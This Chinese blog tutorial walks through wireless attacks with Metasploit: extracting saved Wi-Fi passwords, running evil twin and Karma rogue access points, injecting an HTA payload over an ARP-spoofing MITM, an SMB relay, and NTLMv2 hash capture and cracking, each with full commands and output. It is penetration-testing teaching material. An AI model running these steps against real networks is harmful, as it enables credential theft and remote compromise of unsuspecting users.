Metasploit渗透测试之无线网络安全测试

概述

尽管存在安全问题,无线技术仍将继续存在。事实上,无线技术不仅会继续存在,而且其部署和利用率也在不断增长。无线网络的渗透测试可能会给组织带来无线基础设施固有的真正的危害风险。在本章中,我们将介绍如何利用 Metasploit 执行 Wi-Fi 渗透测试。

在本章中,我们将使用带无线网卡的 Kali Linux 计算机来执行无线攻击,目标是连接到无线接入点的客户端计算机。

# 1、Metasploit和无线网络

尽管 Metasploit 没有直接利用无线漏洞的模块,但它是执行无线渗透测试时最好使用的工具之一。以后渗透无线模块为例,该模块可用于提取保存的 WLAN 配置文件并获取密码。

1、我们将首先使用 `Windows 无线连接信息获取后渗透模块来收集有关目标计算机上每个无线 LAN 接口上的当前连接的信息:

msf6 exploit(multi/handler) > use post/windows/wlan/wlan_current_connection 
msf6 post(windows/wlan/wlan_current_connection) > set session 2
session => 2
msf6 post(windows/wlan/wlan_current_connection) > run

[+] GUID: {c4002510-462b-4c77-aeb9-f75267229a79} 
Description: Realtek 8812AU Wireless LAN 802.11ac USB NIC 
State: The interface is connected to a network.
        Mode: A profile is used to make the connection. 
        Profile: KotoriNet_Guest 
        SSID: KotoriNet_Guest 
        AP MAC: d6:da:21:ac:ca:ca 
        BSS Type: Infrastructure 
        Physical Type: 802.11n PHY type 
        Signal Strength: 100 
        RX Rate: 144400 
        TX Rate: 144400 
        Security Enabled: Yes 
        oneX Enabled: No 
        Authentication Algorithm: RSNA with PSK 
        Cipher Algorithm: CCMP 

2、接下来,我们可以使用Windows Gather Wireless BSS Info 后渗透模块来收集有关受害计算机可用的无线基本服务集的信息:

msf6 exploit(windows/local/bypassuac_fodhelper) > use post/windows/wlan/wlan_bss_list 
msf6 post(windows/wlan/wlan_bss_list) > set session 10
session => 10
msf6 post(windows/wlan/wlan_bss_list) > run 

[*] Number of Networks: 9
[+] SSID: KefsssssokuNet 
        BSSID: d4:da:21:9c:ca:ca 
        Type: Infrastructure
        PHY: 802.11n PHY type 
        RSSI: -50 
        Signal: 42

[+] SSID: RTL8186-default 
        BSSID: 00:9a:cd:f1:86:b8 
        Type: Infrastructure
        PHY: Unknown Association Type 
        RSSI: -81 
        Signal: 46

[+] SSID: handlike3 
        BSSID: 20:6b:e7:6e:93:89 
        Type: Infrastructure
        PHY: 802.11n PHY type 
        RSSI: -80 
        Signal: 48

[*] WlanAPI Handle Closed Successfully
[*] Post module execution completed

利用该模块的输出,我们可以使用 WiGLE(一个收集世界各地不同无线热点信息的网站)来查找客户端计算机的物理位置。

3、Windows Gather Wireless Profile 模块可能是执行无线渗透测试最有用的后渗透模块之一,因为它允许我们提取保存的wlan 配置文件并获取无线密码:

msf6 post(windows/wlan/wlan_bss_list) > use post/windows/wlan/wlan_profile 
msf6 post(windows/wlan/wlan_profile) > set session 10
session => 10
msf6 post(windows/wlan/wlan_profile) > run

[+] Wireless LAN Profile Information 
GUID: {c4002510-462b-4c77-aeb9-f75267229a79} Description: Realtek 8812AU Wireless LAN 802.11ac USB NIC State: The interface is connected to a network.
 Profile Name: S_Guest
<?xml version="1.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
        <name>S_Guest</name>
        <SSIDConfig>
                <SSID>
                        <hex>4B6F746F72694E65745F4775657374</hex>
                        <name>S_Guest</name>
                </SSID>
        </SSIDConfig>
        <connectionType>ESS</connectionType>
        <connectionMode>manual</connectionMode>
        <MSM>
                <security>
                        <authEncryption>
                                <authentication>WPA2PSK</authentication>
                                <encryption>AES</encryption>
                                <useOneX>false</useOneX>
                        </authEncryption>
                        <sharedKey>
                                <keyType>passPhrase</keyType>
                                <protected>false</protected>
                                <keyMaterial>88888888</keyMaterial>
                        </sharedKey>
                </security>
        </MSM>
        <MacRandomization xmlns="http://www.microsoft.com/networking/WLAN/profile/v3">
                <enableRandomization>false</enableRandomization>
        </MacRandomization>
</WLANProfile>

[*] WlanAPI Handle Closed Successfully
[*] Post module execution completed

查看输出,我们能够获取客户端连接到的接入点的SSID是 S_Guest,使用带有预共享密钥身份验证的 WPA2 进行身份验证,以及用于共享密钥的密码 8888888 。

# 2、邪恶双胞胎攻击

邪恶双胞胎攻击是一种 Wi-Fi 攻击方法,使用恶意 Wi-Fi 接入点 (AP) 来模仿企业提供的合法接入点,例如提供免费 Wi-Fi 访问的咖啡店。

通过模仿合法的接入点,我们可以诱骗用户连接到它,这样我们就可以窃取凭证、将受害者重定向到恶意软件网站、执行 LLMNRNBT-NS 中毒攻击等。

我们首先安装 DHCP 服务器用于动态配置受害者的 IP 设置:

$ sudo apt install isc-dhcp-server -y

接下来,通过编辑 /etc/dhcp/dhcpd.conf 中的配置文件来配置 DHCP 服务器:

default-lease-time 600;
max-lease-time 7200;
authoritative;
subnet 10.0.0.0 netmask 255.255.255.0
{
   option subnet-mask 255.255.255.0;
   option broadcast-address 10.0.0.255;
   option routers 10.0.0.1;
   option domain-name-servers 8.8.8.8;
   range 10.0.0.100 10.0.0.253;
}

现在我们已经安装了所需的软件,接下来设置邪恶双胞胎接入点。

1、首先,使用 iwconfig 命令找出无线网卡的名称:

└─# iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off

2、然后,使用aircrack-ng套件中的airmon-ng命令启动接口监听模式:

└─# airmon-ng start wlan0

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

    PID Name
    602 NetworkManager
   4664 wpa_supplicant

PHY     Interface       Driver          Chipset

phy0    wlan0           rtl8187         Realtek Semiconductor Corp. RTL8187
                (monitor mode enabled)

这将创建一个新的虚拟(VAP)接口,并将其置于监听模式。名称将取决于驱动程序,但类似于 wlan0mon

3、在监听模式下创建虚拟接口后,我们就可以使用 airbase-ng 命令创建邪恶双胞胎接入点了:

airbase-ng -c 5 -a f4:ec:38:f8:d0:1b -e 爆单符 -v wlan0
23:01:12  Created tap interface at0
23:01:12  Trying to set MTU on at0 to 1500
23:01:12  Trying to set MTU on wlan0 to 1800
23:01:12  Access Point with BSSID F4:EC:38:F8:D0:1B started.
23:01:13  Got broadcast probe request from 0A:39:AF:2B:31:5C

其中 -a f4:ec:38:f8:d0:1b 用于设置 BSSID-e TP-LINK_F8D01B 用于设置 SSID-c 5 用于指定目标 AP 的信道。

4、接下来,使用 ip 命令配置接口IP地址:

# ip addr add 10.0.0.1/24 dev at0
# ip link set at0 up  

5、然后,使用iptables配置网络地址转换 (NAT):

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT

6、然后,创建 /var/lib/dhcp/dhcpd.leases 文件,并使用 dhcpd 命令在 at0 接口上启动 DHCP 服务器:

─# touch /var/lib/dhcp/dhcpd.leases 
                                                                                                                      
┌──(root㉿kali)-[/home/kali]
└─# dhcpd -cf /etc/dhcp/dhcpd.conf at0
Internet Systems Consortium DHCP Server 4.4.3-P1
Copyright 2004-2022 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/
Config file: /etc/dhcp/dhcpd.conf
Database file: /var/lib/dhcp/dhcpd.leases
PID file: /var/run/dhcpd.pid
Wrote 0 leases to leases file.
Listening on LPF/at0/f4:ec:38:f8:d0:1b/10.0.0.0/24
Sending on   LPF/at0/f4:ec:38:f8:d0:1b/10.0.0.0/24
Sending on   Socket/fallback/fallback-net

7、最后,使用 sysctl 启用 IP 转发,在 Kali Linux 机器上启用数据包转发,允许客户端通过 eth0 接口访问互联网:

sysctl -w net.ipv4.ip_forward=1

现在,我们的邪恶双胞胎 AP 已经准备就绪,可以使用 urlsnarf 等工具对其进行测试,该工具将输出从 at0 接口的 HTTP 流量中嗅探到的 URL

─# urlsnarf -i at0
urlsnarf: listening on at0 [tcp port 80 or port 8080 or port 3128]

# 3、配置 Karmetasploit

两位安全研究人员 Dino Dai Zovi 和 Shane Macaulay 编写了一套作为漏洞 PoC 开发的无线安全工具,并将其称为 Karma。它后来与 Metasploit 集成并称为 Karmetasploit,它允许我们创建虚假访问点、捕获密码和日期并对客户端进行浏览器攻击。

在连接到无线网络的过程中,大多数操作系统通常会将之前的网络与其连接保留为首选网络列表,并发送连续的探测帧来搜索这些网络。一旦找到网络,系统会自动连接到网络。

如果发现多个被探测的网络,它将连接到信号最高的网络。

由于发送连续探测帧,此范围内的任何人都可以被动监听并查看用户正在探测的网络。攻击者实际上利用算法实现中的漏洞来连接到以前的网络,因此攻击者有可能建立一个虚假的接入点并让受害者连接到它。一旦受害者连接到假 AP,攻击者现在就与受害者建立了 IP 级连接。他现在可以对受害者发起任何攻击。

运行下列命令从Offensive Security 官网下载karma.rc资源文件

wget https://www.offsec.com/wp-content/uploads/2015/04/karma.rc_.txt

当客户端连接到我们运行的假 AP 时,需要给客户端分配IP 地址。

1、首先第一步,安装DHCP服务器

apt install isc-dhcp-server -y

2、配置dhcpd.conf文件

cat << EOF > /etc/dhcp/dhcpd.conf
default-lease-time 600;
max-lease-time 7200;
authoritative;
subnet 10.0.0.0 netmask 255.255.255.0
{
   option subnet-mask 255.255.255.0;
   option broadcast-address 10.0.0.255;
   option routers 10.0.0.1;
   option domain-name-servers 8.8.8.8;
   range 10.0.0.100 10.0.0.253;
}
EOF

3、启动无线网卡监听模式

airmon-ng start wlan0

4、接下来,使用airbase-ng -P 来响应所有探测帧,无论 ESSID 为何,-C 表示 ESSID 被设置信标的秒数,-v 表示详细信息,后跟接口:

# airbase-ng -P -C 30 -e Karma -v wlan0
00:49:15  Created tap interface at0
00:49:15  Trying to set MTU on at0 to 1500
00:49:15  Trying to set MTU on wlan0 to 1800
error setting MTU on wlan0
00:49:15  MTU on wlan0 remains at 1500
00:49:15  Access Point with BSSID 02:76:B3:C3:A0:56 started.
00:49:15  Got broadcast probe request from 92:33:77:15:77:B2

airbase-ng 将创建了一个新接口,名字为at0

5、然后为at0分配一个 IP 地址并在这个接口启动 DHCP 服务器:

ip addr add 10.0.0.1/24 dev at0
ip link set at0 up                
dhcpd -cf /etc/dhcp/dhcpd.conf at0

6、现在我们只需要使用 karma.rc 资源文件,等待客户端连接,并获取一些 shell

─# msfconsole -q -r karma.rc 
resource (karma.rc)> use auxiliary/server/browser_autopwn
resource (karma.rc)> setg AUTOPWN_HOST 10.0.0.1
AUTOPWN_HOST => 10.0.0.1
resource (karma.rc)> setg AUTOPWN_PORT 55550
AUTOPWN_PORT => 55550
..................
[*] Server started.
[*] Starting handler for windows/meterpreter/reverse_tcp on port 3333
[*] Starting handler for generic/shell_reverse_tcp on port 6666
[*] Started reverse TCP handler on 10.0.0.1:3333 
[*] Starting handler for java/meterpreter/reverse_tcp on port 7777
[*] Started reverse TCP handler on 10.0.0.1:6666 
[*] Started reverse TCP handler on 10.0.0.1:7777 

[*] --- Done, found 20 exploit modules

[*] Using URL: http://10.0.0.1:55550/ads
[*] Server started.

# 4、无线 MITM 攻击

尽管 MITM 攻击并非无线所独有,但无线技术更容易遭受此类攻击,因为攻击者可以在安全距离内执行这些攻击,而无需担心布线和物理安全。 MITM 是一种攻击,攻击者在相互通信的两方之间中继并改变通信。通过各种方法模拟网络上的主机,使这些主机将流量发送到我们的机器,而不是实际的目的地。

在本节中,我们将使用 BetterCAP,它是 Ettercap 的替代者,Ettercap 是一个著名的 MITM 攻击套件。因此,首先,让我们在 Kali Linux 机器上安装 bettercap

apt install bettercap -y

我们将使用 BetterCAP 将 HTML 应用程序 (HTA) 的 URL 注入到页面。 HTA 将使用 HTA Web Server Metasploit 漏洞利用模块创建和托管,打开后将通过 PowerShell 执行攻击载荷。

1、利用hta web server模块创建和托管HTA

msf6 > use exploit/windows/misc/hta_server 
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/misc/hta_server) > set SRVPORT 443
SRVPORT => 443
msf6 exploit(windows/misc/hta_server) > set LHOST 192.168.19.125
LHOST => 192.168.19.125
msf6 exploit(windows/misc/hta_server) > set URIPATH Update
URIPATH => Update
msf6 exploit(windows/misc/hta_server) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.19.125:4444 
msf6 exploit(windows/misc/hta_server) > [*] Using URL: http://192.168.19.125:443/Update
[*] Server started.

2、然后,在新的终端窗口中,我们使用 BetterCAP 发送欺骗性地址解析协议 (ARP) 消息,将我们的 MAC 地址与默认网关的 IP 地址相关联,从而导致发送至该IP地址的任何流量发送给攻击者,并使用injecthtml 模块注入iframe代码:

这里以老版本的bettercap v1.6.2举例,新版本用法不同,请参考新版的官方文档

安装老版本bettercap

sudo apt-get install ruby-dev libpcap-dev
gem update --system
gem install bettercap

对于新版本的kali,可能需要安装ruby2.7才能正常运行老版本的bettercap,还需要安装openssl1.1.1

rvm pkg install openssl
rvm reinstall 2.7.0 --with-openssl-dir=/usr/local/rvm/usr

# bettercap -I eth0 -T 192.168.91.131 --proxy-module injecthtml --html-iframe-url http://192.168.91.140:443/Update

 _          _   _
| |__   ___| |_| |_ ___ _ __ ___ __ _ _ __                                              
| '_ \ / _ \ __| __/ _ \ '__/ __/ _` | '_ \                                                           
| |_) |  __/ |_| ||  __/ | | (_| (_| | |_) |                                                         
|_.__/ \___|\__|\__\___|_|  \___\__,_| .__/                                                           
                                     |_| v1.6.2                                                                                                    
http://bettercap.org/                                                                                 
[I] Starting [ spoofing:✔ discovery:✘ sniffer:✘ tcp-proxy:✘ udp-proxy:✘ http-proxy:✔ https-proxy:✘ sslstrip:✔ http-server:✘ dns-server:✔ ] ...

[I] [eth0] 192.168.91.140 : 00:0C:29:86:74:67 / eth0 ( VMware )
[I] [GATEWAY] 192.168.91.2 : 00:50:56:E1:C9:60 ( VMware )
[I] [DNS] Starting on 192.168.91.140:5300 ...
[I] [HTTP] Proxy starting on 192.168.91.140:8080 ...
[I] Found NetBIOS name 'CYZ' for address 192.168.91.131
[I] [TARGET] 192.168.91.131 : 00:0C:29:76:76:B7 / CYZ ( VMware )

受害者一点点击运行,就会上线

image-20230905132608283

image-20230905132755151

# 5、SMB中继攻击

SMB 中继攻击允许我们将 SMB 身份验证请求中继到另一台主机,如果用户具有访问权限并且目标主机上允许网络登录,则可以获得对经过身份验证的SMB会话的访问权限。如果用户在目标主机中具有管理员访问权限,则可以执行任意命令。

在本节中,将使用 MS08-068 Microsoft Windows SMB 中继代码执行漏洞利用模块来执行 SMB 中继攻击:

1、首先设置SRVHOSTpayloadRELAY_TARGETS以及监听的端口和地址

sf6 exploit(windows/smb/smb_relay) > set SRVHOST 192.168.91.140
SRVHOST => 192.168.91.140
msf6 exploit(windows/smb/smb_relay) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf6 exploit(windows/smb/smb_relay) > set LHOST 192.168.91.140
LHOST => 192.168.91.140
msf6 exploit(windows/smb/smb_relay) > set LPORT 443
LPORT => 443
msf6 exploit(windows/smb/smb_relay) > set RELAY_TARGETS 192.168.91.0/24
RELAY_TARGETS => 192.168.91.0/24
msf6 exploit(windows/smb/smb_relay) > run -j

2、创建一个HTML文件,并在 UNC 路径中使用运行中继的计算机的 IP 地址

<html>
  <body>
    <img src="\\192.168.91.140\image.jpg">
  </body>
</html>

3、使用 BetterCAP 注入 HTML 文件,强制目标进行身份验证并尝试加载图像

# bettercap -T 192.168.91.131 --proxy-module injecthtml --html-file /home/kali/inject.html

4、目标浏览页面的时候,被加载了我们注入的内容

image-20230905140037936

5、当目标尝试加载我们注入的 HTML 文件中的图像时,我们能够中继身份验证并成功执行攻击载荷:

# 其他

因为只有当用户是目标计算机上的管理员时我们才能获得命令执行,因此在渗透测试期间,可以利用 SMB 身份验证并尝试从 SMB 客户端系统捕获质询响应密码哈希值。为此,可以使用身份验证捕获:SMB 辅助模块,当目标尝试加载注入的 HTML文件中的图像时,我们将捕获 NTLM v 2 身份验证哈希值:

msf6 > use auxiliary/server/capture/smb 
msf6 auxiliary(server/capture/smb) > set JOHNPWFILE /root/smb
JOHNPWFILE => /root/smb
msf6 auxiliary(server/capture/smb) > run
[*] Auxiliary module running as background job 6.
msf6 auxiliary(server/capture/smb) > 
[*] JTR hashes will be split into two files depending on the hash format.
[*] /root/smb_netntlm for NTLMv1 hashes.
[*] /root/smb_netntlmv2 for NTLMv2 hashes.

[*] Server is running. Listening on 0.0.0.0:445
[*] Server started.
[+] Received SMB connection on Auth Capture Server!
[SMB] NTLMv2-SSP Client     : 192.168.91.131
[SMB] NTLMv2-SSP Username   : CYZ\Administrator
[SMB] NTLMv2-SSP Hash       : Administrator::CYZ:1a248bd6fdbb0f6b:d11e77be83ed93240ba371af712204b9:010100000000000000269dd8c1dfd901778b3b7b5b201dd8000000000200120057004f0052004b00470052004f00550050000100120057004f0052004b00470052004f00550050000400120057004f0052004b00470052004f00550050000300120057004f0052004b00470052004f00550050000700080000269dd8c1dfd901060004000200000008003000300000000000000000000000003000002ee4834763db8176873306176719a0509a5599f2da7920945ff28942d981f6460a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00390031002e00310034003000000000000000000000000000

现在我们有了 NTLM v 2 哈希,可以尝试使用John the Ripper破解密码

 john /root/smb_netntlmv2    
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
                 (Administrator)     
1g 0:00:00:00 DONE 2/3 (2023-09-05 14:30) 11.11g/s 73388p/s 73388c/s 73388C/s 123456..random
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed. 

另一种选择是使用 LLMNR Spoofer 辅助模块而不是 BetterCAP。链路本地多播名称解析 (LLMNR) 是 NetBIOS 的后继者,用于Windows Vista 及更高版本中的名称解析。 LLMNR Spoofer 辅助模块将通过侦听发送到 LLMNR 多播地址 (224.0.0.252) 的 LLMNR 请求来伪造LLMNR响应,并使用我们机器的 IP 地址进行响应:

msf6 auxiliary(server/capture/smb) > use auxiliary/spoof/llmnr/llmnr_response 
semsf6 auxiliary(spoof/llmnr/llmnr_response) > set SPOOFIP 192.168.91.140
SPOOFIP => 192.168.91.140
msf6 auxiliary(spoof/llmnr/llmnr_response) > run
[*] Auxiliary module running as background job 7.

捕获 NTLM v2 哈希后,可以尝试使用John the Ripper破解密码

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值